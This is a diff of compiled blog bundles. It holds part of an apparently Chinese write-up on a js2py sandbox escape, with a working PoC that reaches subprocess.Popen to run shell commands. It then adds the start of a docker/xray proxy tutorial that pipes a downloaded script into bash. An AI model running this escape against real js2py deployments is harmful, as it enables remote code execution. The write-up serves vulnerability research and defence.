\u5206\u6790"}),"\n",(0,c.jsxs)(s.p,{children:["\u6839\u636e\u63d0\u4f9b\u7684\u4ee3\u7801\uff0c\u53d1\u73b0",(0,c.jsx)(s.code,{children:"Object.getOwnPropertyNames({}).__class__.__base__"}),"\uff0c\u5373\u53ef\u83b7\u53d6\u5230\u4e00\u4e2a",(0,c.jsx)(s.strong,{children:"\u6839\u5bf9\u8c61"}),"\uff0c\u90a3\u4e48\u8fd9\u662f\u5982\u4f55\u5f97\u5230\u7684\u5462"]}),"\n",(0,c.jsx)(s.p,{children:"\u6211\u4eec\u53ef\u4ee5\u5199\u4e00\u4e2a\u4ee3\u7801\u8fdb\u884c\u8c03\u8bd5"}),"\n",(0,c.jsx)(s.pre,{children:(0,c.jsx)(s.code,{className:"language-py",children:'import js2py\npayload_2 = """console.log(Object.getOwnPropertyNames({}).__class__.__base__)"""\njs2py.eval_js(payload_2)\n'})}),"\n",(0,c.jsxs)(s.p,{children:["\u6574\u6bb5\u4ee3\u7801\u4f1a\u88ab",(0,c.jsx)(s.code,{children:"self.code(*args)"}),"\u53bb\u6267\u884c\u8c03\u7528\uff0c\u4ed6\u7684\u89e3\u6790\u987a\u5e8f\u662f\u4ece\u5de6\u5f80\u53f3",(0,c.jsx)(s.code,{children:"console\u3001.log()\u3001Object ......"})]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"f7c83fc40db51c0676aa220a6b4263fd",src:n(48767).A+"",width:"2862",height:"1698"})}),"\n",(0,c.jsxs)(s.p,{children:["\u5e76\u4e14\u4f9d\u6b21\u8c03\u7528",(0,c.jsx)(s.code,{children:"PyJs.get(self, prop)"}),"\uff0c\u83b7\u53d6\u5bf9\u5e94\u7684\u5bf9\u8c61\u3002"]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"650f67657bc934405a122dcf131189ee",src:n(55927).A+"",width:"1466",height:"560"})}),"\n",(0,c.jsxs)(s.p,{children:["\u90a3\u4e48\u8fd9\u4e2a",(0,c.jsx)(s.code,{children:"Object.getOwnPropertyNames({})"}),"\u662f\u4e2a\u5565\u5462\uff0c\u6211\u4eec\u8ddf\u8fdb\u53d1\u73b0\uff0c\u5b83\u5176\u5b9e\u5c31\u662f\u4e00\u4e2a\u65b9\u6cd5\u7528\u4e8e\u83b7\u53d6\uff0c\u7684\u6240\u6709 ",(0,c.jsx)(s.code,{children:"keys()"}),"\uff0c\u90a3\u4e48\u5927\u6982\u7387\uff0c\u8fd9\u91cc\u8fd4\u56de\u7684\u5bf9\u8c61\u5c31\u4e3a",(0,c.jsx)(s.code,{children:"dict"}),"\u5bf9\u8c61"]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"a712fa934ad208f15e46e3adf758eaa3",src:n(96412).A+"",width:"1778",height:"594"})}),"\n",(0,c.jsxs)(s.p,{children:["\u6b64\u65f6",(0,c.jsx)(s.code,{children:"own.keys()"})," \u8fd4\u56de\u7684\u5bf9\u8c61 \u4e3a ",(0,c.jsx)(s.code,{children:"dict"})]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"cdf2c66969b232f56aa024ff6d2415ea",src:n(47753).A+"",width:"1994",height:"1256"})}),"\n",(0,c.jsxs)(s.p,{children:["\u5f97\u5230\u7684\u5bf9\u8c61\u7684\u786e\u4e3a",(0,c.jsx)(s.code,{children:"dict"})]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"71d59a397371a8a061736a8aa625eea1",src:n(76145).A+"",width:"2324",height:"1320"})}),"\n",(0,c.jsxs)(s.p,{children:["\u4ee3\u7801\u8fd0\u884c\u5230\u8fd9\u91cc\u4e4b\u540e\uff0c\u5c31\u7b80\u5355\u591a\u4e86\uff0c\u5728",(0,c.jsx)(s.code,{children:"python"}),"\u91cc\uff0c\u83b7\u53d6\u6839\u5bf9\u8c61\u7684\u65b9\u5f0f\uff0c\u53ef\u4ee5\u6839\u636e\u57fa\u672c\u5bf9\u8c61\u6765\u83b7\u53d6\u6839\u5bf9\u8c61\uff0c\u4f8b\u5982\u4ee5\u4e0b"]}),"\n",(0,c.jsx)(s.pre,{children:(0,c.jsx)(s.code,{className:"language-py",children:'print({}.__class__.__base__)\nprint("".__class__.__base__)\nprint(().__class__.__base__)\n'})}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"8d21ef7a38064f02f76316ab1c70c1b0",src:n(16335).A+"",width:"2264",height:"1304"})}),"\n",(0,c.jsx)(s.p,{children:"\u5f97\u5230\u6839\u5bf9\u8c61\u540e\uff0c\u540e\u9762\u4e0essti\u6a21\u7248\u6ce8\u5165\u7c7b\u4f3c\uff0c"}),"\n",(0,c.jsx)(s.pre,{children:(0,c.jsx)(s.code,{children:'import js2py\n\npayload_2 = """\nlet o = Object.getOwnPropertyNames({}).__class__.__base__.__subclasses__()\nfor (i in o) {\n console.log(o[i])\n}\n"""\njs2py.eval_js(payload_2)\n'})}),"\n",(0,c.jsx)(s.p,{children:"\u4e0b\u9762\u67096\u79cd\u65b9\u5f0f\u53ef\u4ee5\u6267\u884c\u547d\u4ee4"}),"\n",(0,c.jsx)(s.pre,{children:(0,c.jsx)(s.code,{className:"language-sh",children:"\u5185\u5efa\u51fd\u6570 eval \u6267\u884c\u547d\u4ee4\nos \u6a21\u5757\u6267\u884c\u547d\u4ee4\npopen \u51fd\u6570\u6267\u884c\u547d\u4ee4\nimportlib \u7c7b\u6267\u884c\u547d\u4ee4\nlinecache \u51fd\u6570\u6267\u884c\u547d\u4ee4\nsubprocess.Popen \u7c7b\u6267\u884c\u547d\u4ee4\n"})}),"\n",(0,c.jsxs)(s.p,{children:["\u7531\u4e8e \u83b7\u53d6\u7684\u5bf9\u8c61\u5747\u662f \u662f\u88ab\u5c01\u88c5\u540e\u7684\uff0c\u4f8b\u5982\u6839\u5bf9\u8c61 \u90fd\u662f ",(0,c.jsx)(s.code,{children:"PyObjectWarpper"})]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"f370f31459c94cebb2900f580b26faee",src:n(53034).A+"",width:"1336",height:"426"})}),"\n",(0,c.jsxs)(s.p,{children:["\u5e76\u4e14\u83b7\u53d6\u5230\u7684",(0,c.jsx)(s.code,{children:"__init__"})," \u51fd\u6570\u5bf9\u8c61\u4e5f\u5747\u88ab\u5c01\u88c5"]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"eca2ceab4a2e8483ad4416c424a9111d",src:n(7954).A+"",width:"1730",height:"648"})}),"\n",(0,c.jsxs)(s.p,{children:["\u65e0\u6cd5\u83b7\u53d6",(0,c.jsx)(s.code,{children:"__globals__"}),"\uff0c\u4e5f\u5c31\u65e0\u6cd5\u4ece\u8fd9\u91cc\u5165\u624b\u83b7\u53d6\u5185\u5efa\u53d8\u91cf",(0,c.jsx)(s.code,{children:"__builtins__"})]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"0afd799d813b550caf14fb94e0972937",src:n(94625).A+"",width:"2358",height:"1428"})}),"\n",(0,c.jsx)(s.p,{children:"\u6240\u4ee5\u8fd9\u91cc\u4e00\u5171\u6709\u4e24\u79cd\u65b9\u5f0f"}),"\n",(0,c.jsxs)(s.ul,{children:["\n",(0,c.jsxs)(s.li,{children:["\u5229\u7528",(0,c.jsx)(s.code,{children:"importlib"})," \u65b9\u6cd5\u5bfc\u5165\u7c7b"]}),"\n"]}),"\n",(0,c.jsxs)(s.p,{children:["\u5728python \u4e2d\u5b58\u5728\u4e00\u4e2a\u7c7b ",(0,c.jsx)(s.code,{children:"_frozen_importlib.BuiltinImporter"})," \u8fd9\u4e2a\u7c7b\uff0c\u5728python \u4e2d\u7684\u4f5c\u7528\u5c31\u662f \u63d0\u4f9b Python \u4e2d import \u8bed\u53e5\u7684\u5b9e\u73b0\uff08\u4ee5\u53ca ",(0,c.jsx)(s.code,{children:"__import__"})," \u51fd\u6570\uff09\u3002\u6211\u4e48\u53ef\u4ee5\u76f4\u63a5\u5229\u7528\u8be5\u7c7b\u4e2d\u7684load_module\u5c06os\u6a21\u5757\u5bfc\u5165\uff0c\u4ece\u800c\u4f7f\u7528 os \u6a21\u5757\u6267\u884c\u547d\u4ee4\u3002"]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"5007a129124cb7e3a84f851529884436",src:n(45729).A+"",width:"1876",height:"1476"})}),"\n",(0,c.jsxs)(s.ul,{children:["\n",(0,c.jsxs)(s.li,{children:["\u5229\u7528",(0,c.jsx)(s.code,{children:"subprocess.Popen"})," \u7c7b\u6267\u884c\u547d\u4ee4"]}),"\n"]}),"\n",(0,c.jsx)(s.p,{children:"\u8fd9\u91cc\u7c7b\u662f\u5728python 2.4\u5f15\u5165\u7684 \u53ef\u4ee5\u7528subprocess\u8fd9\u4e2a\u6a21\u5757\u6765\u4ea7\u751f\u5b50\u8fdb\u7a0b\uff0c\u5e76\u8fde\u63a5\u5230\u5b50\u8fdb\u7a0b\u7684\u6807\u51c6\u8f93\u5165/\u8f93\u51fa/\u9519\u8bef\u4e2d\u53bb\uff0c\u8fd8\u53ef\u4ee5\u5f97\u5230\u5b50\u8fdb\u7a0b\u7684\u8fd4\u56de\u503c\u3002subprocess\u610f\u5728\u66ff\u4ee3\u5176\u4ed6\u51e0\u4e2a\u8001\u7684\u6a21\u5757\u6216\u8005\u51fd\u6570\uff0c\u6bd4\u5982\uff1aos.system,os.popen\u7b49\u51fd\u6570\u3002"}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"2822d519284e2178b008fb245a207db1",src:n(44383).A+"",width:"1796",height:"1504"})}),"\n",(0,c.jsx)(s.h2,{id:"0x04-poc",children:"0x04 POC"}),"\n",(0,c.jsx)(s.pre,{children:(0,c.jsx)(s.code,{className:"language-py",children:'import js2py\nfrom sys import version\n\npayload = """\n// [+] command goes here:\nlet cmd = "open -a Calculator"\nlet hacked, bymarve, n11\nlet getattr, obj\n\nhacked = Object.getOwnPropertyNames({})\nbymarve = hacked.__getattribute__\nn11 = bymarve("__getattribute__")\nobj = n11("__class__").__base__\ngetattr = obj.__getattribute__\n\nfunction findpopen(o) {\n let result;\n for(let i in o.__subclasses__()) {\n let item = o.__subclasses__()[i]\n if(item.__module__ == "subprocess" && item.__name__ == "Popen") {\n return item\n }\n if(item.__name__ != "type" && (result = findpopen(item))) {\n return result\n }\n }\n}\n\nn11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()\nconsole.log(n11)\nn11\n"""\n\ndef test_poc():\n etcpassword_piece = "root:x:0:0"\n result = ""\n try:\n result = repr(js2py.eval_js(payload))\n except Exception:\n return False\n return etcpassword_piece in result\n\ndef main():\n test_poc()\n\nif __name__ == "__main__":\n main()\n'})})]})}function p(e={}){const{wrapper:s}={...(0,a.R)(),...e.components};return s?(0,c.jsx)(s,{...e,children:(0,c.jsx)(o,{...e})}):o(e)}},28453:(e,s,n)=>{n.d(s,{R:()=>d,x:()=>i});var t=n(96540);const c={},a=t.createContext(c);function d(e){const s=t.useContext(a);return t.useMemo(function(){return"function"==typeof e?e(s):{...s,...e}},[s,e])}function i(e){let s;return s=e.disableParentContext?"function"==typeof e.components?e.components(c):e.components||c:d(e.components),t.createElement(a.Provider,{value:s},e.children)}},44383:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/2822d519284e2178b008fb245a207db1-fb6e3baf1918f94ba359f7248e1144be.png"},45729:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/5007a129124cb7e3a84f851529884436-1d0d8228ba2bf52d840dc02b54aea2d6.png"},47753:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/cdf2c66969b232f56aa024ff6d2415ea-0ce1e926d8aa8c1d3351d64463f9a9b5.png"},48767:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/f7c83fc40db51c0676aa220a6b4263fd-c557133287a733812ea44bda107ff68f.png"},53034:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/f370f31459c94cebb2900f580b26faee-b5a84aa0aebd62aee22c32b21400f046.png"},55927:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/650f67657bc934405a122dcf131189ee-b50041e2c384fa341c08efad9b404e91.png"},76145:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/71d59a397371a8a061736a8aa625eea1-7a900fb2867708f8078ee1f5532433d1.png"},94625:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/0afd799d813b550caf14fb94e0972937-d47cea09dd075e314d10a5b4406ed39e.png"},96412:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/a712fa934ad208f15e46e3adf758eaa3-e15ed49fff3e768596c6aab320a0e8b6.png"}}]); \ No newline at end of file diff --git a/assets/js/f8f2dbb2.e082fbf2.js b/assets/js/f8f2dbb2.e082fbf2.js new file mode 100644 index 0000000..bbbe4bd --- /dev/null +++ b/assets/js/f8f2dbb2.e082fbf2.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9555],{8308:(n,e,s)=>{s.d(e,{A:()=>r});const r=s.p+"assets/images/image-20221222233527949-a0052a7aa98cbe1c787e4157b602cda8.png"},28453:(n,e,s)=>{s.d(e,{R:()=>i,x:()=>t});var r=s(96540);const l={},c=r.createContext(l);function i(n){const e=r.useContext(c);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function t(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(l):n.components||l:i(n.components),r.createElement(c.Provider,{value:e},n.children)}},41027:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>o,contentTitle:()=>t,default:()=>h,frontMatter:()=>i,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51","title":"\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b/01.\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b/01.\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u5b89\u88c5Gitbook","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/GitBook\u5b89\u88c5/"},"next":{"title":"\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406"}}');var l=s(74848),c=s(28453);const i={},t="\u57fa\u4e8exray\u7684\u79d1\u5b66\u4e0a\u7f51",o={},d=[{value:"\u524d\u6cbf",id:"\u524d\u6cbf",level:2},{value:"\u51c6\u5907\u5de5\u5177",id:"\u51c6\u5907\u5de5\u5177",level:2},{value:"\u5b89\u88c5",id:"\u5b89\u88c5",level:2},{value:"\u5b89\u88c5\u5de5\u5177",id:"\u5b89\u88c5\u5de5\u5177",level:3},{value:"\u914d\u7f6e\u914d\u7f6e\u6587\u4ef6",id:"\u914d\u7f6e\u914d\u7f6e\u6587\u4ef6",level:3},{value:"\u65b0\u5efa\u6587\u4ef6\u5939",id:"\u65b0\u5efa\u6587\u4ef6\u5939",level:4},{value:"config.json",id:"configjson",level:4},{value:"ssl(\u76ee\u5f55)",id:"ssl\u76ee\u5f55",level:4},{value:"start.sh",id:"startsh",level:4},{value:"web.conf",id:"webconf",level:4},{value:"\u914d\u7f6e\u5b8c\u6210\u540e\u5927\u81f4\u4e3a",id:"\u914d\u7f6e\u5b8c\u6210\u540e\u5927\u81f4\u4e3a",level:4},{value:"\u5236\u4f5cdocker-compose \u542f\u52a8\u6587\u4ef6",id:"\u5236\u4f5cdocker-compose-\u542f\u52a8\u6587\u4ef6",level:3},{value:"\u542f\u52a8",id:"\u542f\u52a8",level:3},{value:"\u67e5\u770b\u72b6\u6001",id:"\u67e5\u770b\u72b6\u6001",level:3},{value:"\u5ba2\u6237\u7aef\u9009\u62e9",id:"\u5ba2\u6237\u7aef\u9009\u62e9",level:2},{value:"\u8ba2\u9605\u94fe\u63a5\u8bbe\u7f6e",id:"\u8ba2\u9605\u94fe\u63a5\u8bbe\u7f6e",level:2}];function a(n){const e={a:"a",blockquote:"blockquote",code:"code",del:"del",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...n.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsxs)(e.table,{children:[(0,l.jsx)(e.thead,{children:(0,l.jsxs)(e.tr,{children:[(0,l.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(e.tbody,{children:(0,l.jsxs)(e.tr,{children:[(0,l.jsx)(e.td,{style:{textAlign:"left"},children:(0,l.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(e.td,{style:{textAlign:"left"},children:"2024-01-12 00:01:36"})]})})]}),"\n",(0,l.jsx)(e.header,{children:(0,l.jsx)(e.h1,{id:"\u57fa\u4e8exray\u7684\u79d1\u5b66\u4e0a\u7f51",children:"\u57fa\u4e8exray\u7684\u79d1\u5b66\u4e0a\u7f51"})}),"\n",(0,l.jsx)(e.h2,{id:"\u524d\u6cbf",children:"\u524d\u6cbf"}),"\n",(0,l.jsxs)(e.p,{children:["\u56fd\u5185\u7684\u5f88\u591a\u4e1c\u897f\u90fd\u662f",(0,l.jsx)(e.del,{children:"\u9609\u5272\u4e86\u7684"}),"\uff0c\u4e3a\u4e86\u5b66\u4e60\u8fd8\u662f\u9700\u8981\u61c2\u5f97\u79d1\u5b66\u4e0a\u7f51"]}),"\n",(0,l.jsx)(e.h2,{id:"\u51c6\u5907\u5de5\u5177",children:"\u51c6\u5907\u5de5\u5177"}),"\n",(0,l.jsxs)(e.ul,{children:["\n",(0,l.jsx)(e.li,{children:"docker\u3001docker-compose"}),"\n",(0,l.jsx)(e.li,{children:"(ubuntu\u3001centos\u90fd\u53ef\u4ee5) vps\u3001\u57df\u540d"}),"\n"]}),"\n",(0,l.jsx)(e.h2,{id:"\u5b89\u88c5",children:"\u5b89\u88c5"}),"\n",(0,l.jsxs)(e.blockquote,{children:["\n",(0,l.jsx)(e.p,{children:"\u6211\u5df2\u7ecf\u628a docker \u955c\u50cf\u5236\u4f5c\u597d\u4e86\uff0c\u6240\u4ee5 \u5f88\u7b80\u5355\u7684\u53ea\u9700\u8981\u4fee\u6539\u51e0\u4e2a\u5c0f\u5730\u65b9\u5c31\u53ef\u4ee5\u98df\u7528\u4e86"}),"\n"]}),"\n",(0,l.jsx)(e.h3,{id:"\u5b89\u88c5\u5de5\u5177",children:"\u5b89\u88c5\u5de5\u5177"}),"\n",(0,l.jsx)(e.p,{children:"\u5b89\u88c5docker\uff1a"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.code,{children:"curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun"})}),"\n",(0,l.jsx)(e.p,{children:"\u5b89\u88c5docker-compose\uff1a"}),"\n",(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.code,{children:"curl -L https://get.daocloud.io/docker/compose/releases/download/v2.4.1/docker-compose-"}),"uname -s",(0,l.jsx)(e.code,{children:"-"}),"uname -m",(0,l.jsx)(e.code,{children:" > /usr/local/bin/docker-compose"})]}),"\n",(0,l.jsx)(e.p,{children:"docker\u5f00\u673a\u81ea\u542f\u52a8\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{children:"systemctl start docker && systemctl enable docker\n"})}),"\n",(0,l.jsx)(e.h3,{id:"\u914d\u7f6e\u914d\u7f6e\u6587\u4ef6",children:"\u914d\u7f6e\u914d\u7f6e\u6587\u4ef6"}),"\n",(0,l.jsx)(e.h4,{id:"\u65b0\u5efa\u6587\u4ef6\u5939",children:"\u65b0\u5efa\u6587\u4ef6\u5939"}),"\n",(0,l.jsxs)(e.blockquote,{children:["\n",(0,l.jsxs)(e.p,{children:["\u65b0\u5efa\u6587\u4ef6\u5939\u540e\u6dfb\u52a0\u4ee5\u4e0b\u6807\u9898\u7684\u6587\u4ef6",(0,l.jsx)(e.code,{children:" config.json\u3001ssl(\u76ee\u5f55)\u3001start.sh\u3001web.conf"})]}),"\n"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{children:"mkdir conf/\n"})}),"\n",(0,l.jsx)(e.h4,{id:"configjson",children:"config.json"}),"\n",(0,l.jsxs)(e.blockquote,{children:["\n",(0,l.jsx)(e.p,{children:"xray\u7684\u914d\u7f6e\u6587\u4ef6\uff0c\u5c06\u91cc\u9762\u7684id\u3001\u8bc1\u4e66\u540d\u79f0\u66ff\u6362\u6210\u4f60\u7684\uff0c\u5176\u4ed6\u7684\u4e0d\u9700\u8981\u52a8"}),"\n"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-json",children:'{\n "log": {\n\n\n "loglevel": "warning"\n },\n "inbounds": [\n {\n "port": 443,\n "protocol": "vless",\n "settings": {\n "clients": [\n {\n "id": "\u8fd9\u91cc\u9700\u8981\u586b\u5199\u4f60\u7684id",\n "flow": "xtls-rprx-direct"\n }\n ],\n "decryption": "none",\n "fallbacks": [\n {\n "dest": 60000,\n "alpn": "",\n "xver": 1\n },\n {\n "dest": 60001,\n "alpn": "h2",\n "xver": 1\n }\n ]\n },\n "streamSettings": {\n "network": "tcp",\n "security": "xtls",\n "xtlsSettings": {\n "minVersion": "1.2",\n "certificates": [\n {\n "certificateFile": "/conf/ssl/\u8fd9\u91cc\u9700\u8981\u586b\u5199\u4f60\u7684\u8bc1\u4e66\u516c\u94a5\u540d\u79f0.crt",\n "keyFile": "/conf/ssl/\u8fd9\u91cc\u586b\u5199\u4f60\u7684\u8bc1\u4e66\u79c1\u94a5\u540d\u79f0.key"\n }\n ]\n }\n },\n "sniffing": {\n "enabled": true,\n "destOverride": [\n "http",\n "tls"\n ]\n }\n }\n ],\n "outbounds": [\n {\n "protocol": "freedom"\n }\n ]\n}\n'})}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.strong,{children:"\u6ce8\u610f\uff1a\u8fd9\u91cc\u8bc1\u4e66\u8def\u5f84\u4e3a/conf/ssl/exp.crt\u7b49"})}),"\n",(0,l.jsx)(e.h4,{id:"ssl\u76ee\u5f55",children:"ssl(\u76ee\u5f55)"}),"\n",(0,l.jsxs)(e.blockquote,{children:["\n",(0,l.jsx)(e.p,{children:"\u5728\u8be5\u76ee\u5f55\u4e0b\u5b58\u653e\u4f60\u7684\u516c\u79c1\u94a5,\u5927\u81f4\u5982\u4e0b\u56fe"}),"\n"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{children:"ssl/exp.crt\nssl/exp.key\n"})}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"image-20221222233933291",src:s(63457).A+"",width:"789",height:"143"})}),"\n",(0,l.jsx)(e.h4,{id:"startsh",children:"start.sh"}),"\n",(0,l.jsxs)(e.blockquote,{children:["\n",(0,l.jsx)(e.p,{children:"\u542f\u52a8\u811a\u672c\uff0c\u53ef\u4ee5\u4e0d\u9700\u8981\u66f4\u6539\u5982\u4e0b\u5373\u53ef"}),"\n"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-bash",children:"#!/bin/bash\ncp /conf/web.conf /etc/nginx/conf.d/ && \\\n service nginx restart && \\\n mv /var/www/html/index.nginx-debian.html /var/www/html/index.html && \\\n /data/xray/xray run -config /conf/config.json\n"})}),"\n",(0,l.jsx)(e.h4,{id:"webconf",children:"web.conf"}),"\n",(0,l.jsxs)(e.blockquote,{children:["\n",(0,l.jsx)(e.p,{children:"\u5c06\u5176\u4e2d\u7684\u57df\u540d\u66ff\u6362\u6210\u4f60\u7684"}),"\n"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{children:'server\n{\n listen 80;\n listen [::]:80;\n server_name \u4f60\u7684\u57df\u540d;\n return 301 https://$http_host$request_uri;\n\n access_log /dev/null;\n error_log /dev/null;\n}\n\nserver\n{\n listen 127.0.0.1:60000 proxy_protocol;\n listen 127.0.0.1:60001 http2 proxy_protocol;\n server_name \u4f60\u7684\u57df\u540d;\n index index.html index.htm index.php default.php default.htm default.html;\n root /var/www/html;\n add_header Strict-Transport-Security "max-age=63072000" always;\n\n location ~ .*\\.(gif|jpg|jpeg|png|bmp|swf)$\n {\n expires 30d;\n error_log off;\n }\n\n location ~ .*\\.(js|css)?$\n {\n expires 12h;\n error_log off;\n }\n}\n'})}),"\n",(0,l.jsx)(e.h4,{id:"\u914d\u7f6e\u5b8c\u6210\u540e\u5927\u81f4\u4e3a",children:"\u914d\u7f6e\u5b8c\u6210\u540e\u5927\u81f4\u4e3a"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"image-20221222232309364",src:s(57466).A+"",width:"538",height:"129"})}),"\n",(0,l.jsx)(e.h3,{id:"\u5236\u4f5cdocker-compose-\u542f\u52a8\u6587\u4ef6",children:"\u5236\u4f5cdocker-compose \u542f\u52a8\u6587\u4ef6"}),"\n",(0,l.jsxs)(e.blockquote,{children:["\n",(0,l.jsx)(e.p,{children:"docker-compose.yml \u6211\u8fd9\u91cc\u542f\u52a8\u4e864\u4e2a\uff0c\u5982\u679c\u4f60\u7684vps\u5185\u5b58\u7a7a\u95f2\u53ef\u4ee5\u591a\u542f\u52a8\u5373\u53ef\uff0c\u9632\u6b62\u6302\u6389\u3002"}),"\n",(0,l.jsx)(e.p,{children:"1001\u30011002\u30011003\u30011004 \u5c31\u662f\u4f60\u8bbe\u7f6e\u7684\u7aef\u53e3\uff0c\u53ef\u4ee5\u6309\u7167\u4f60\u7684\u4e60\u60ef\u6765"}),"\n"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-yaml",children:'version: "3"\nservices:\n xray1:\n image: wjlin0/xray:v1\n restart: always\n hostname: xray\n container_name: xray1\n ports:\n - "1001:443"\n volumes:\n - ./conf:/conf\n command: ["/bin/bash","/conf/start.sh"]\n xray2:\n image: wjlin0/xray:v1\n restart: always\n hostname: xray\n container_name: xray2\n ports:\n - "1002:443"\n volumes:\n - ./conf:/conf\n command: ["/bin/bash","/conf/start.sh"]\n xray3:\n image: wjlin0/xray:v1\n restart: always\n hostname: xray\n container_name: xray3\n ports:\n - "1003:443"\n volumes:\n - ./conf:/conf\n command: ["/bin/bash","/conf/start.sh"]\n xray4:\n image: wjlin0/xray:v1\n restart: always\n hostname: xray\n container_name: xray4\n ports:\n - "1004:443"\n volumes:\n - ./conf:/conf\n command: ["/bin/bash","/conf/start.sh"]\n'})}),"\n",(0,l.jsx)(e.h3,{id:"\u542f\u52a8",children:"\u542f\u52a8"}),"\n",(0,l.jsxs)(e.blockquote,{children:["\n",(0,l.jsx)(e.p,{children:"\u5728docker-compose.yml \u76ee\u5f55\u4e0b"}),"\n"]}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"image-20221222233527949",src:s(8308).A+"",width:"717",height:"88"})}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{children:"docker-compose up 